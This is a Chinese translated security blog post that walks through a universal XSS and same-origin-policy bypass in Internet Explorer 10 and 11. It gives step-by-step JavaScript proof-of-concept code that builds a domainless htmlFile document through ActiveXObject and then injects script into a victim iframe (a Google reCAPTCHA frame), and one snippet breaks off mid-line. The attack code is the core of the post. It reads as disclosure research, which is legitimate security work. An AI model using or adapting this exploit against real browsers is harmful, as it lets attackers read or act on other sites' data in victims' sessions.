【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界
作者:admin | 时间:2017-3-28 01:28:58 | 分类:黑客技术 隐藏侧边栏展开侧边栏
前言
几个月前,我们曾在Edge上玩耍过无域的about:blank页面。基本上,一个强有力的about:blank document可以无限制地访问任何域。该问题在最近关于CVE-2017-0002的补丁上得到修复,所以将不再起作用。同样由ActiveXObject/htmlFile引发的问题也在上周关于CVE-2017-0154的补丁中被修复了。如果你还没有阅读过前面提到两种达到UXSS/SOP绕过方式的文章,请现在就去查阅下,因为我们接下来的内容将假设你已经熟悉这两种方式。我们今天的目标是将我们之前Edge上的bug利用移植到IE上,这将很容易,因为微软对IE的不认真修复。先看下这些漏洞当前的状态:
在IE上创建一个无域的about:blank
在之前的bug上,我们使用data:uri来创建一个无域的blank,我们要怎么在IE上实现相同的结果呢?htmlFile再次给我们提供了帮助,因为补丁让我们无法再设置为任意域,但是我们依旧可以将其设置为blank或者无域。
为了创建一个无域的htmlFile,我们首先需要一个被销毁的document,也就是说,document将不复存在。我们如何在什么都没有的基础上创建东西?这是Neil deGrasse Tyson提出的另一个问题,我将做出最好的回复!事实上,思路很简单,我们只需要确保一切按照正确的顺序进行即可。
1、保存iframe的对ActiveXObject的引用
2、至少实例化一次htmlFile(这样IE就没有销毁掉它)
3、阻断iframe进程(这样IE就没有机会销毁我们的引用)
4、销毁iframe的document(用document.open)
5、再次实例化htmlFile,现在它是无域的了。
步骤2和3在这里非常重要,少了步骤2将导致我们无法保存一个可用的引用,少了步骤3将是IE可以销毁相应对象。我们之前已经在这篇文章中提到过线程阻断的思路。我们接下来将使用的线程阻断技术是非常直观的弹框。
无域的htmlFile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
// We will attack the iframe below
// <iframe name="victim_iframe" src="https://www.google.com/recaptcha/..." rel="external nofollow" ></iframe>
// Render an iframe (we will destroy its document later)
document.body.insertAdjacentHTML('beforeEnd','<iframe name="ifr"></iframe>');
// Save a reference to its ActiveXObject
var ifr_ActiveXObject = ifr.ActiveXObject;
// Make sure IE does not invalidate our reference
new ifr_ActiveXObject("htmlFile"); // We don't even need save this instance
// Block the iFrame so the ActiveXObject object is never destroyed
ifr.setTimeout('alert("Do not close me until the PoC finishes, please.");');
|
你是否意识到我们使用了setTimeout来执行阻断弹框?这是因为我们还需要继续做其他事,如果我们直接在iframe弹框,这将阻断UI导致后续功能不执行。我们现在的目标是在弹框期间销毁iframe的内容。记住,弹框是用来阻止IE销毁ActiveXObject的。
现在我们将销毁iframe的document并创建无域的htmlFile。如果你对document.open不熟悉,那么在这个PoC中,你可以将其类比为document.write。
1
2
3
4
5
|
// Destroy the iframe document
ifr.document.open();
// Instantiate a domainless htmlFile
var domainlessDoc = new ifr_ActiveXObject("htmlFile");
|
现在,我们拥有了一个无域的htmlFile,我们所需要做的就仅仅是加载一个带有我们要访问的URL的iframe了。具体的做法在之前的冒险在无域的世界文章中提到过了。实质上,我们通过iframe加载任意的网站,将其修改为about:blank(iframe所属域)。接着我们就可以通过我们的无域htmlFile任意访问该blank(绕过SOP)。
1
2
|
// Inject the code in victim's inner iframe
domainlessDoc.parentWindow.setTimeout("victim_iframe[0].location = 'javascript:alert(pare
|
上述适用于IE10和IE11,但只要稍微调整即可适用于IE6到IE11.我们不会在这里做调整,但如果你真的好奇,请让我知道。
记住,htmlFile还有许多玩法在等着被发现,我相信这值得你花费一个下雨的午后来研究它。在我看来,修复htmlFile相关的bug的最好方式是完全禁止它在iexplore.exe上的实例化。
1
2
|
// If this code returns ACCESS_DENIED attackers will lose an amazing weapon
new ActiveXObject("htmlFile"); // Do not allow this anymore!
|
本文由 安全客 翻译,作者:scriptkid